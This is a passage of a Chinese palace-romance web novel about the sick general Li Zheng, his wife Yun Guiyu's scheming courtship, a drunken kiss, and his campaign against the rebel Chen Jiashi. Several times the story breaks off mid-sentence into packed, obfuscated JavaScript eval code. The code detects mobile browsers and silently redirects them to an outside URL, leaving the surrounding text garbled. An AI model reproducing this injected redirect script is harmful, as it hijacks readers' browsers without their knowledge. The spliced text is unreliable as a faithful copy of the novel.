半晌,轻声呢喃道:“这般朝廷,不值得我从大梦中清醒。” *** 云归玉是从朝叔口中得知,历铮并不打算办生辰的。 这倒是无甚所谓。 她本也不喜府里到时候闹哄哄一团,扰了她的清静。 但她没想到的是,历铮这家伙不办生辰也便罢了,当日竟然连人都找不到了。 只留下一张纸条——吾欲独处静心,明朝即归,勿寻。 一众人面面相觑。 孟煊像是想到什么,叹道:“或许,今日他想自己一个人待着。” 历淑的脸上写满担心:“阿铮心里有事,无论如何,我是他的亲人,该要陪在他身边。” 历海宁二话不说,转身就要去找人,被孟煊拉住。 云归玉道:“五姐,若你信得过我,便让我去吧。” 某样东西,她必须得在今日送到他手上,毕竟,她花了那么多的时间和心力,不能白费。 虽说她完全可以等他回来后再给他,可这本就是生辰礼物,若是不在这天送出去,便折损了它的意义。 历淑看着云归玉如山林水潭般沉静的双眼,担忧的心莫名平稳下来,郑重道:“那便拜托郡主殿下了。” 云归玉留下一句“诸位自便”,便独自出了门。 她骑着马,思索着历铮会去那里,首先想到的,便是应天阁。 可行至半路,她却勒马停下。 不知为何,她总觉得,今日历铮去的地方,不是那里。 片刻后,她掉转马头,朝着另一个方向而去。 半个时辰后,云归玉在午门行刑台找到了历铮。 那是岐丰被斩首的地方。 云归玉望着那萧索的背影,开口打破了沉默:“你打算在这里站一晚上?” 历铮愣了愣,略显僵硬地转过头来。 “你怎么来了?” 云归玉:“来找我们失踪的世子大人。” 历铮叹了一口气,道:“夫人来寻,我总是要回的。走吧。” 云归玉却拉住了他的手腕,道:“你带我去了那么多地方,今夜,我也带你去个地方。” *** 京城西山脚下,临川瀑布旁,有一私人别院。 十里花海,绵延不绝。 桃花树下,云归玉抬手道:“坐。” 然后把从墨燚身上取下的盒子放在石桌上,扬扬下巴:“打开看看。” 历铮:“这是?” “生辰礼物。” 历铮将盒子打开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973411|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到里面的物什。 那是两截银色护腕,外皮泛着坚硬的金属光泽,内衬却如丝绸般柔软,上面镶嵌着红色晶石。一看便知价值不菲。 云归玉道:“我说过,我不喜欢欠别人的,这是你给我买那些东西的回礼。” 历铮愣了一下,才明白过来,她说的“那些东西”,是指他送的朱钗首饰。 他拿起这对护腕,爱不释手地摸了一会儿,然后放下,往前一推,“我不要。” 云归玉:? 他还敢不要? 历铮:“我送的那些东西,从没见清苑戴过,可见那些东西对清苑来说并无用处,而清苑给我的,我一定戴上了就不取下来,这不是占你便宜吗?此非君子所为。” 云归玉:“……” 说这么多不就想让她戴那些花里胡哨的破玩意儿吗? 她冷笑道:“行,那你还给我。” 说着便要去拿回护腕。 结果历铮又眼疾手快地抢了回去,还啪两下戴在了手腕上。 他抢了东西后,又仿佛什么都没发生过似的,无辜道:“清苑,有酒吗?” 云归玉皱眉:“你不宜饮酒。” “哦,那算了。” 云归玉惊讶于他的妥协。 “你怎么忽然惜命起来了?” 历铮静静地看着她。 云归玉:“罢了,等着。” 她起身去了屋内,找了半天,提了一壶桃花酿并俩茶杯,又运起轻功回去。 “清苑,你回来的好慢。只有这个吗?” “有的喝就不错了,少挑。” 二人举杯对饮,一杯接着一杯,很快,便是月上枝头。 “清苑,我突然发现,我好像……没法像以前那样坦然面对死亡了。”历铮似是不胜酒力,眼神失了清明,半睁半闭,明明嘴上叫着云归玉的字,却并不看她,而是看着天边明月。 轻声呢喃:“因为,我忽然有了很喜欢很喜欢,做梦都想得到的东西。” “如果你想活着,那就活。我说过,我会帮你解毒。”清凌的声音传来,尾音却低了下去。 历铮闻言,回头一看,云归玉眼神迷离,脸颊微红,已是醉了。 她像是困极,那双潋滟的眸子一眨一眨,最终慢慢地合上。 历铮失笑,将外衫披在她的身上,又对月独酌了几杯,觉得自己也当真是醉了。 他看着云归玉水润的唇,鬼使神差地凑近,伸出手,想要触碰却又怕惊扰了什么,踟蹰良久,正欲退开,却忽然被人握住了手指。 “抓住你了,小贼。” 她眼眸微眯,语调婉转,竟带一丝缱绻。 历铮心口一热,放任自己沉溺进去,几乎想要将胸中情愫和盘托出。 可他又猛然想到,自己身上贴着一道道催命符,有何资格轻言感情?他若说出口,与他而言,是成是败都不留遗憾,可于她而言,是悲是喜皆为负担。 历铮眸中光芒渐熄,正欲找个借口糊弄过去,忽觉唇上一暖。 金棕色的眼睛瞪大,霎时,眸中若有千星闪烁,熠熠生辉。 片刻,云归玉已闭上了眼睛,就要趴下,历铮回过神来,眼疾手快地接住了她。 他无奈一笑,小心翼翼地将云归玉横抱起,走进了屋内。 夜半,历铮闭眼假寐,却忽而听到一阵动静。他猛地睁眼,却看到是云归玉忽然坐了起来。 他连忙过去,到她床边坐下。 “怎么了?是有哪里不舒服么?” 云归玉双眼朦胧,“渴。” 历铮倒了杯茶水,递到她嘴边,让她慢慢喝下。 “热。” “那我去打点凉水来给你擦擦。”他起身就要走,却被云归玉拉住。 她问:“你为什么送我那些东西?” 历铮沉默良久,不答反问:“那郡主呢?方才为什么亲我?” 20. 出征 他知道她醉了,才敢问出这个问题。 云归玉却没有回答,只是自顾自地猜测:“因为容貌?因为身份?可拥有这些的人很多,并不一定要是我。那是为什么?你明知道我会用蛊毒害人,不是个好人。你究竟图的是什么?” 可别有所图的人,分明是你啊。 历铮叹息一声。 他知道,云归玉多日以来的刻意亲近,不过是在引诱他上当,她要他的感情,为的是得到历家对皇后的支持。 明目张胆,却偏生,明知是陷阱,他还是陷了进去。 方才那一个吻,大抵也是她的手段之一,可是以她的性子,若是讨厌,也不至于偏偏要用这种手段。 或许,她也有一些真心在呢?只要有五分的真心,便足够令他欣喜若狂,弥足深陷。 云归玉忽然捧住的脸,把他的头掰向自己,眼神认真,却又带着醉意引起的茫然,道:“你还没回答我的问题。” 历铮轻声道:“谁说好人就一定要喜欢好人呢?若是一个好人喜欢上了坏人,不是更能证明他的喜欢吗?” 这一句话并没有挑明,是他悄然的试探。 但云归玉却眨了眨眼,然后缓缓闭上,靠在他肩头,睡了过去。 历铮无奈一笑,将她轻轻放倒,盖好被子,然后回了榻上,和衣而眠。 在历铮视线看不到的地方,云归玉睁开了眼,眼中一片清明。 她早对自己下了特殊的蛊,能短暂让人,千杯不醉。 *** 翌日,扶光殿。 大殿中窸窸窣窣,大臣们低声讨论皇帝为何还未上朝,有上了年纪的老臣,已经开始捶腿揉腰。 自从元和年间始,皇帝每天用于朝会的时辰便越来越短,上朝屡屡来迟,下朝不是流连后宫,便是求仙问道。 除此之外,他还重用奸臣,前右相谢言成就是出了名的聚敛之臣。 能满足皇帝陛下欲望的人,便可以加官进爵,而只要不顺皇帝的意,便动辄获罪。这样一来,谁还愿意静心读书、修炼本事? 朝廷的水被搅得浑浊不堪,罪魁祸首,不是皇帝本人又是谁? 众臣等了半个时辰,皇帝才姗姗来迟,在龙椅上高坐。 太监王福扯着嗓子念道:“有事启奏,无事退朝——” 历铮站在文官一列,看着郑岐丰原本的位置已经空出来,心中一阵悲凉。 大楚的脊梁折了。 可总得有人顶替那个位置,去说一些真话。 历铮正打算启奏,却有兵部尚书先行出列,举着笏板,躬身下拜,奏道:“陛下,翊州陈嘉石,又反了!” “其大军于前日起兵,开拔当夜便分三路攻下了涂州九城,周边诸州县望风而降,这样下去,望州、栗州也离陷落不远,到时沦陷兵锋将直指京城!” 历铮咽下了原本的话。 翊州距离京城不算很远,军报快马加鞭,昨日便能到达,可昨日皇帝并未开早朝,而是与术士谈玄论道,对于大臣闭门不见。 军机贻误,一日便可损数城。 兵部尚书的奏言一出,众人顿时炸开了锅。 “什么?陈嘉石,他不是早就降了吗?怎么又反了!” “历山苍在干什么!他毗邻之地有人反了都不知道?” “这怪不了忠武王吧,隔了三个州,怎么就毗邻了。” “我看,咱们还是请圣驾南下避一阵吧!” 皇帝的神色也在一瞬间变得凌厉起来。 他把目光望向武官那两列:“诸位爱卿,可有愿领兵平叛者?” 大殿一下子沉默起来,众武官的头,埋得一个比一个低。 大楚武德自宣宗那朝起便江河日下,到这一朝已经全集中在忠武王历山苍和梁国侯孟光将军两个人身上,其余人说是武官,实则全未亲临战场,有的可能甚至连像样的兵法都没读过。 皇帝怒得一拍扶手:“满朝武官,竟无一人请战?你们还当什么将军?不如全都滚回家种地好了!” 左相云巍,也即是皇后之父出列道:“陛下息怒,依微臣所见,平叛的重任,还是非忠武王莫属。” 皇帝叹息一声,道:“也只能如此了,王福,拟旨。” 一直不敢说话的兵部尚书又颤颤巍巍地开口了:“陛下,忠武王已去漠北了。” 皇帝:? “忠武王的折子早前已送到,您批了的。” 皇帝揉了揉眉心,也是他糊涂了,一急便把这事给忘了。 自从他把仪和许给历家之后,氏兰便不干了,后来竟联合周边异族南下攻城。 他明白,氏兰未必是真想和大楚开战,无非是想要钱。 可他偏不想给了。 于是便打发历山苍去漠北收拾氏兰了。 历铮勾了勾嘴角,笑意讽刺。 自从发现他爹能打后,这个朝廷几乎所有官员,只要一遇战事,就叫他爹去灭火,他爹七十的人了,还要拖着一把老骨头南征北战、东奔西走,他们也真好意思。 看了一会儿戏,他终是站了出来,奏道:“陛下,微臣请战,愿代父出征,扫除贼寇,荡平叛乱。” 大殿安静了一瞬,又开始七嘴八舌地讨论起来。 “历侍郎也是历家人,应该也很能打吧?” “可历侍郎身体不好,太医不是说过他活不过三十吗?” “他身体确实不好,前阵我还见他在殿外吐血呢,他去真的不会死半道上吗?” 皇帝的目光看向历铮,里面带着审视。 半晌,他开口问道:“崇渊,你可有把握?” 历铮单膝跪地:“陛下,打仗这事,没有人敢说自己有必胜的把握,忠武王不能,臣也不能。” “但是,”他抬起头,直视皇帝那泛着算计的精光的双眼,坚定道:“臣愿意用生命,去换取更大的把握。” 皇帝沉默注视他半晌,忽而大悦道:“好!” “那朕就封你为沉英将军,调集二十万大军,点兵完毕后便即刻出发,前往栗州平叛,望卿早日凯旋!” *** 散朝后,历铮先是去了孟府。 孟煊把他接进府中,将他引入湖心亭坐下,笑道:“又到我这儿来逃避什么来了?正好,我酿的几坛,今日正好开封,请你来尝尝鲜,不过说好了,你只能喝一杯,多的便没有喽。” 他说完,却发现历铮神情严肃,不似平常那样放松,于是也收起了笑意,问:“崇渊,可是遇到什么难事了?” 历铮叹息道:“含章,我是来道别的。” 孟煊一愣:“道别?京城就这么大,你去到哪我都能随时来找你,用得着亲自来告别?” 他们身为质子,所能去到的最远地方,也不过就是外城后山。 历铮:“前日陈嘉石叛乱,陛下命我出征讨贼,不日便要启程。” 孟煊沉默了一会儿,道:“恭喜。” 历铮失笑摇头:“喜什么?皇帝估计巴不得我死外边呢。” 孟煊诚恳道:“那不会,他至少要在你拿下陈嘉石后才会希望你死。” “那倒也是。” 历铮垂眸看了眼自己的掌心,有根黑线从自腕线延伸,已至掌心。 从很久以前,他就知道,这是毒,无解之毒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979264|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位给他下毒之时,便是奔着要他命的目的去的,只是如今,却又不得不用他。 他抬头,认真道:“含章,你想去吗?若是想去,我便去向皇帝举荐,让你和我一起去,这也许是你唯一获得自由的机会。” 孟煊打开桌上酒坛,倒满两杯,将其中一杯推向历铮,才道:“自由?除非打完仗咱们就不回京了,否则谈何自由?” 历铮认真道:“你可以回江南,去找你爹梁国侯。” 而他不能,他在京中有五姐,有阿宁,还有……云归玉,他无论如何也得回来。 孟煊嗤笑一声:“然后呢?让你一个人回京,被皇帝杀头吗?崇渊,在你心中,我就是这种自己当逃兵,留兄弟为我扛罪的小人吗?” “何况”,他摇了摇头,“崇渊,我和你不一样,皇帝不会放我走的。” 历铮便不说话了。 是啊,他们不一样。 历家有三个质子在京,出去一个历铮,那还有历五娘和历六郎呢,历家全是重情重义的,无论是历山苍还是历铮,都不可能抛弃在京城的家人。 而孟家却只有一个孟煊一个。 皇帝不可能放孟煊走。 孟煊又笑了:“一个陈嘉石而已,你要是半个月搞不定,我都瞧不起你。” 历铮也笑了。 “好,待我凯旋,再来找你喝酒。” 孟煊端起酒杯,敬他:“兄弟,干了这杯酒,就当提前庆祝你大获全胜,凯旋回京!” 历铮和他碰杯,一饮而尽。 *** 历铮自孟府出来,又去建宁王府见了五姐,最后才回了历府。 他进门时,见朝叔在旁迎候,便问:“朝叔,郡主可在府中?” 朝叔答道:“郡主殿下应在药圃。” 历铮点点头,径自往药铺走去。 自云归玉打理出这一片药圃后,他还是第一次来看。 一进药铺的小木门,便是一股草木清香,让他原本踟蹰的心情变得松快了些许。 “历铮?”云归玉有些诧异地看着他,“怎么这么早就回来了?” 观他脸色,虽有笑意,但有些勉强,像是强撑出来的,她皱了皱眉:“还是你又吐血了,所以才告了病假?” 说着就要来搭脉。 历铮任由她将手指扣在他脉门上,说:“这些日子一直在用你调配的药,我已经很久没有吐血了。” 云归玉仔细摸了会脉,道:“的确没有大碍,只是,你脉搏怎么……跳的如此之快?” 历铮不答,反问道:“郡主,你还记得昨晚发生什么了吗?” 历铮的心中满是不舍。 几日前明白自己的心意时他想,若是能找到神医,且能医他所中之毒,那他一定会说出自己的心意,若是找不到,他也不必让别人徒增烦扰。 可是,昨夜那个吻,扰乱了他的心神。 “昨夜?我记得我和你对饮,然后……”云归玉微微蹙眉,“奇怪,好像想不起来了。莫非我喝醉了之后对你做了什么?” 当然,她是装的不知道。 毕竟,她本就没醉。 历铮却不打算放过她,语气幽幽:“殿下不记得了?但我记得。昨夜,你确实对本世子做了件事。” 云归玉:“……” 她正欲找个借口搪塞过去,却忽然感受到唇上的柔软,瞳孔微张。 是花瓣。 历铮不知何时摘了片芍药花,贴在她唇上。 而后隔着花瓣,蜻蜓点水地印下一吻,一触即离。 “这就是你昨夜对我做的事情,想起来了吗?郡主?” 21. 凯旋 云归玉万万没想到他会这样身体力行地帮她“想起”。 其实按照计划,她应该顺其自然地引导他说出心意,她几乎有八成把握,历铮已经对她有意了。她只需再欲擒故纵一阵,加深他的感情,这样下去,迟早能完成皇后交代她的事情。 只是……看着他平静中带着期待的眼神,她忽然又有些犹豫了。 奇怪,她竟也会觉得心中有愧吗? 云归玉:“我……” “殿下不必着急答复我。”历铮却没让她说完,“你可以慢慢回忆,待我出征回来,再告诉我也不迟。” “出征?”云归玉立刻想到些什么,“是因为陈嘉石造反的事?” 烟雨楼的情报只比兵部的军报晚了半天,因此这事她也早就知道,只是没想到,皇帝竟让历铮这个身中剧毒的人去平叛。 他就不怕历铮死半路上,忠武王一怒之下也反了吗? 哦对,历五历六还在京城,历山苍不会不顾他们的性命。 云归玉的眉头越皱越紧,竟是极为不爽。 她的计划就要成功了,皇帝却这时让历铮离京,平白打断她的谋划。 “正是。”历铮道:“最多半月,我就会带着大军凯旋。那时,我会再来问你这个问题,希望你能如实告诉我,昨夜为何要对我做这事。” “能答应我吗?”他玩笑般的,唤了一声:“夫人?” 声音是从未有过的柔和,甚至带了点小心翼翼。 一点都不像他。 云归玉注视着他,沉默不语。 历铮与她对视,不闪不避,只是掌心早已湿濡一片。 良久,云归玉点了下头。 “记住,我只给你半个月。” 历铮眉目舒展,笑容耀眼,道:“一言为定!” *** 历铮走的那日,乃是九月十七。 天朗气清。 外京城的南门,名曰大玄门,门楼高耸,古朴厚重的两扇大门左右敞立。 城墙之上,一列士兵披甲肃立,恪尽职守地守卫着城门。 此处十里以内,俱已净街。 门内大道两侧,鼓号排列,以待奏乐相送。 大军齐聚,金丝银甲的兵士,个个骑着高头大马,队列齐整。 不管打起来怎样,瞧着倒有几分气势如虹的样子。 兵士们左右排布,拥着中间一雪白的战马。 历铮高坐在雪稚的背上,对着历府的方向望了望。 他今日很早便出门整军去了。 彼时云归玉还在梦中,他既想她来送送他,又不忍扰她清梦,也担心她真来送了,他反倒会依依不舍,磨磨唧唧,未免显得英雄气短,儿女情长。 于是便悄悄起来,无声离开了。 军情紧急,皇帝要他尽快行军,百官和百姓皆不可相送。 历铮一直等到日上三竿,终究一勒缰绳:“出发!” 随着他一声令下,鼓手们擂响战鼓,他作为主帅,一马当先冲出大玄门,身后士兵们紧随其后。 鼓声咚咚,马蹄飒沓。 踏出大玄门的那一刻,历铮心中感慨万千。 他曾以为,自己这辈子都出不了京城,到死,都只能困于这一城之地。 如今阴差阳错,他竟是得以离开。 但他知道,他终究会回来。 毕竟,京城中,有他牵挂的人在。 忽然,空气中响起细微的破风声。 历铮眼神一厉,右手一申,抓住了那支利箭。 他蓦然回首。 只见那门楼之上,有一紫衣华服的女子亭亭而立,耳边银色蝴蝶反射出粼粼光彩。 她戴了他送的耳坠子。 历铮扬起胳膊用力挥了挥。 你送的护腕,我也戴着呢。 挥完手,他朗声大笑,高声道:“将士们!随我去荡平反贼,来日凯旋,拜将封候!” 然后一扬马鞭,疾驰而去。 许是被他激昂的声音感染,将士们竟也一个个跟着喊起来: “荡平反贼,拜将封侯!” “荡平反贼,拜将封侯!” “荡平反贼,拜将封侯!” 那一刻,他们忘记了“将军百战死,壮士十年归”,忘记了“古来征战几人回”,只有胸中热血在激荡。 如此意气风发,一如高中探花、白马游街之时,一如……她初见他之时。 云归玉一直注视着他的背影,直到再看不见之时,她才感觉到嘴角微酸。 原来方才,她一直是笑着的。 *** 半月后,灵光寺。 深秋叶落,扫地僧,被风卷走,打着旋儿,飞过,最后停在一间禅房的窗台上。 云归玉正坐在窗边,与一人对弈。 “云施主,你走神了。”对面的人笑眯眯道。 那是个眼神清灵,风姿神秀的和尚,若非云归玉早就认识他,还真看不出他已是不惑之年。 云归玉看了眼棋盘,她这边颓势已显。 把棋子往棋碗里一扔,意兴阑珊道:“不下了,赢不了。” 她虽然争强好胜,但却不会不自量力。 “施主的心不在这里。”觉空把云归玉的棋碗拿过来,自己下黑白二子,把这盘棋继续下去,“可是担心历七施主?” 云归玉没说是,也没说不是,反问道:“怎么,大师认识他?” 觉空的眼睛温和平静:“曾有过两面之缘。” 云归玉来了点兴趣,问:“哦?何缘?” 觉空:“第一面,他来找贫僧求一本书,第二面,则是归还此书。” 云归玉只以为是什么佛学典籍,暗道历铮难道也信这些?倒也不再追问。 “云施主不必担心,贫僧料定,历七施主必能平安归来。” 云归玉嗤笑:“你凭何料定?难不成你们佛门中人,也像道士一样,能掐会算?” 觉空:“不会。只略懂相面之术,历七施主乃是有大运在身之人。但……请恕贫僧多嘴,云施主,你和历七施主并非一路人。若是信得过贫僧,便听贫僧一句劝,勿要与他纠缠过深,对你二人都好。” 云归玉对他这副仿佛看透一切的样子嗤之以鼻。 都是活不过百岁的凡夫俗子,装什么世外高人。 她可不是靖帝,崇什么佛信什么道。 “你在教我做事?”她嗤笑一声,站了起来。 觉空合掌念了句“阿弥陀佛”,表情无奈,“贫僧绝无此意。” “好为人师可不是好习惯。和尚,你是灵光寺众和尚的师父,但不是我的,莫要逾矩。 “告辞。”方至禅房门口,她忽而想起什么似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她百无聊赖,不再举目远眺,而是垂眸看向塔下这近在咫尺的地方。 迎天塔位于天街中心,四面通达。 东街上彩楼林立,酒旗迎风招展,南街上既有在路边支起个摊子叫卖的小商贩,也有挑着担边走边卖的货郎,西街上行人各色,有疾有缓,偶也有嬉笑打闹的孩童跑过。 北街则有一身穿甲胄的士兵策马经过,在一路口拐个弯走上通明道,径往皇城方向驰去。 那难道是……战报? 云归玉正欲下塔,进宫去探探消息,却忽而捕捉到一声叫喊。 那声音在喊,“救命”。 她忽而转头,循声望去,明眸一扫,见南街一豆腐摊前,有一身形高大的醉汉推倒摊位,正扯着那女摊主的头发,就要去脱她的衣物。 云归玉拿起桌上的清雪,抽箭,搭弓,眯眼对准了那壮汉的脑袋。 弓弦越绷越紧,她却迟迟没有松手。 那条街上行人太多,若是她力道有误,或是方向有偏,便有可能波及无辜之人。 云归玉深吸一口气,再度凝神,就要松手之际。 “你的力道不够,再重点。” 有人在她身后说。 22. 宫宴告白 云归玉瞳孔微缩,下意识又加了一分力,而后果断放手,利箭离弦而去,正中那醉汉的脑袋。 那街上瞬间喧闹不止,乱作一团,她的目光却早已不在那里,而是看向她身后的不速之客。 那人风尘仆仆,衣袍上都积了些灰,却仍掩不住一身灼灼风姿。见她看来,历铮展颜一笑,道:“阿玉,恭喜你,已可出师了。” 云归玉静静地看着他,良久,问:“这次不怪我无视律法,私自处刑了?” 历铮:“你若不出手,那女子就会遭难,事急从权,出了事,我担着。” 云归玉对他的态度还算满意,轻哂一声,道:“出不了事。” 她早看出那男人就是一地痞无赖,才会动了杀手。 多年宫中浮沉,有些人能动,有些人不能动的道理,她早就知道,否则她和皇后哪还用耍那么多心机,绕那么多弯子?把挡路的都放蛊毒死岂不方便? “你怎么回来了?”她道。 历铮心情很好地扬了扬眉:“仗打完了,我怎么不能回来?” 云归玉:“赢了还是输了?” 历铮:“输了,畏罪逃匿中,特来找我爱妻私奔的。” 云归玉:“……” 那看来是赢了。 她心中微微惊讶。 叛军之前那般势如破竹,现如今被历铮半个月就打赢了? 还真是虎父无犬子,哪怕是只病虎。 从前众人只知他病弱但能打,而如今大家都知道了,他不仅自己一人能打,而且带着一群人也很能打,若是个身子康健的人……前途不可限量。 可是风头太盛,必遭人妒。 木秀于林,风必摧之。堆出于岸,流必湍之。行高于人,众必非之。 云归玉轻叹一声,“大军凯旋,也要先通报陛下,不可私自进京。” 历铮理所当然道:“对啊,所以我是偷偷跑回来的。” 塔上风凉,他解开外袍,要往云归玉身上披,“我是回来找夫人的,所以,夫人怎么不回家,在这里吹风?” 当他展开衣袍后,又有些犹豫了。 他这袍子是从至少有两天没换了,一路奔波,回府时见她不在,便到处找人,也未来得及更衣。 到了现在,才懊恼为何没有换一身衣裳,风度翩翩地来见她。 可是,他是真的很想她。 云归玉看出了他的窘迫,也看出了他的劳累。 心脏有某个地方轻轻凹下一块。 她微微上前一步,正欲给个台阶,接受他的好意,便见他侧过头去。 “咳咳。” 历铮只咳了两声,便抑制住,大概因为战地多尘土,回来时又喝了些寒风,喉中总有些细密的痒意,难以忽视,但他还能忍住。 云归玉眉头几不可见地皱了下。 她脚步一转,背身离去:“我还有事,历将军若是想在这里吹冷风,就请自便吧。” 历铮不明白她为何突然变脸,只得把没能给她披上的外衫随意往臂上一搭,跟了上去。 云归玉听见他的脚步声,头也没回,道:“你此时偷跑回来,是相当拙劣的一步棋。” 历铮没吭声,在心里反驳道:我只是想早点回来见你而已,哪有考虑什么这一步棋那一步棋的。 云归玉还在继续:“即使你打赢了仗,大军主帅轻易离军,万一在回来的途中出什么意外呢?你人是不在,可责任却需要由你来背。” 历铮知道她说的都有道理,可他如此星夜兼程的赶回来,不过是为了她一个答案,如今还未问出口,便被迎面泼了盆冷水。 但为了不让她担心,他还是道:“放心吧,捷报已经传到宫中了,我的副将,也一定会好好地带着大军回来的。” 二人下了塔,历铮牵着雪稚,与云归玉并肩走在街上。 云归玉:“赢得太漂亮,这是你犯的第二个错误。” 他该胜,却不该是如此大胜。 在历山苍之后,历家又出了一个军神般的人物,几乎又是挽救国祚的大功,历家的威望,从此便更上一层楼了。 如此,皇帝究竟是会高兴呢,还是会心存疑虑呢。 历铮静静地听着,并不反驳。 其实云归玉说的这些,他何尝不知道。 他当然可以拖到一个月或甚至几个月乃至几年再打赢这场仗,可一来战机稍纵即逝,若是错过再等,不一定还能打赢,二来,他等的了,百姓等可不了,国库的钱也支撑不到那个时候。 行军打仗日费千金,每一个士兵一日三餐的背后都有好几个农民挥烂了锄头,好几个运粮脚夫走烂了鞋。 他只能尽快打赢,好让他们解脱。 历铮叹息,“把你送回府,我就进宫向陛下请罪。” 他回来时满心欢喜期待,此刻已被破了一盆莫名其妙的冷水,不敢再问。 “我……咳咳。”一分神,便没能忍住喉咙痒意。 云归玉脚步顿了顿,不耐烦道:“穿上。” 历铮一愣:“什么?” 云归玉看了眼他臂弯上的衣服,语气微嘲,“看不出来,历将军还有女儿家的爱好。” 历铮:??? “不然为何把外袍当披帛用?” 历铮注意到她的表情,一跨步追上了她,端详半晌,总算是大概知道她怎么了。 他高兴道:“你在关心我。” 一股热意又漫上了心头,先前被他按下的心思,再一次蠢蠢欲动起来。 关心? 云归玉皱眉,除了皇后之外,她从来没有关心过谁。他在口出什么狂言? 可反驳的话就是说不出口。 没过多久,他们已行至历府门口,历铮欲言又止。 本来他已心生退意,可方才云归玉忽然的关心,又给了他一些信心。 云归玉知道他想问什么,等着他开口,但最后他只是道:“我这便进宫向陛下请罪去,清苑早点休息,不必等我。” 云归玉惊讶,“谁说要等你了?” 历铮无奈一笑,翻身上马,径往皇城奔去。 *** 历府。 “刷!” 箭靶上,又一支箭正中红心。那红心之上,已全被射满,再无法多容下一支箭了。 云归玉再次抬弓,眯眼对准了最远的那块箭靶。 她没有抽箭,只缓缓拉弦,试探需用多大的力。 把弦拉到极致,她却始终没有放手,甚至还有闲心去想:历铮已经去了三个时辰,为何还有没回来? 肩膀忽然被人扶住,手臂也被人按住,力道轻缓地却又不容置疑地往回推,迫使她收力回弦。 是历铮。 他不赞同道:“你差点就放空弦了。我记得我教过你,放空弦会伤到自己,是弓手大忌。” 云归玉没理会他这个便宜“师父”的教诲,只瞧了他一眼,便轻皱眉头道:“唇色不对劲,你吐血了。老……父皇责罚你了?” 历铮摇摇头:“只是让我在门外等了两个时辰。” 她在关心他。 无需去问,他便知道了答案。 他回府前特意漱了口,将嘴上血迹擦净,可她还是一眼就看出端倪,也许她自己都没发现,她在意他。 现在,历铮几乎可以肯定,云归玉对他并非无意。 这是个好机会,出征前的那个问题,或许此刻便能得到答案。 历铮薄唇轻启,正要说话,喉头却忽而涌上一股腥甜,一口血吐出,往前倒去。 云归玉抬手接住他,并不意外。 历铮能与捷报前后脚到京城,必定是快马加鞭,还未稍作休息,又硬生生站了四个时辰,若是常人也就罢了,可他偏偏身中剧毒,此刻必然已是强弩之末。 她面色不佳,心中对老皇帝的厌恶更上一层。 她掏出身上骨笛放在嘴边,吹出一阵短促的乐曲,片刻后,一阵沉重的“哒”“哒”声传来。 一只足有树高的白象,踏着沉重的脚步,走了过来。 这是她养在历府的宠物之一,好在历府够大,否则还真养不下它。 云归玉懒洋洋道:“劳驾,把他给我送回房里去。” 说完,她一边走在前面为白象带路,一边继续吹起了曲子。 白象的鼻子环过历铮的腰,卷起他,老老实实跟在云归玉的身后。 翌日。 清晨起床,云归玉穿戴整齐,去历铮屋里看时,床上已然空无一人。 昨日还不省人事,今日便悄悄爬起来了。 不过也是,今日正是捷报上定好的大军凯旋之日,历铮哪怕是撑着病体,也得亲自进宫向皇帝报捷。 云归玉用完早膳,来到街上时,历铮已经越过大玄门,带着一众亲卫,浩浩荡荡往皇城而去,沿街百姓纷纷高呼“历将军威武!”声震云霄。 云归玉戴着帷帽,隐于人群中,见他身着玄金甲,红色披风烈烈飞舞,坐于雪白骏马之上,真真是好一个意气风发的少年将军。 *** 历铮一路疾驰,交兵卸甲,进了宫城,穿过一层层宫门,迈上台阶,在大殿前通秉,得到宣召后,大步走进了扶光殿,单膝下跪,行拜礼,高声道:“臣历铮,参见陛下!” 皇帝微一抬手,“爱卿平身。” 历铮起身,抱拳再行军礼,秉报:“微臣不负陛下期望,已将反贼尽数剿灭,将陈嘉石、赵进等叛党捉拿回京,听候陛下发落!” “哈哈哈哈!”皇帝大笑几声,面色喜悦,“朕就知道,爱卿必不会叫朕失望。” “崇渊,”他换了个称呼,问,“你立下如此大功,朕要好好嘉奖你!想要什么赏赐?” “陛下,那微臣就斗胆请赏了。”历铮抬头,“微臣斗胆,想向陛下讨三份赏赐。” 嘶! 众大臣一阵唏嘘。 这小子还真不客气?皇帝说要赏他,他还就真开口讨赏了?还狮子大开口要三份赏赐。 果真是官场沉浮历练不够。 以历家现在的威望,已遭皇帝忌惮,竟还不谨言慎行吗? 皇帝有些意外。 “哦?爱卿但说无妨。” 历铮:“臣讨的第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“陛下也知道,臣身体不好,打着一仗,已是强弩之末,最后的日子,我只想轻松度过。”说着,历铮还极为应景地吐了一口血。 皇帝:“……” 众大臣:“……” 这血吐的,还真是时候啊。 众大臣此时方知,历铮看似莽撞,实则聪慧至极。 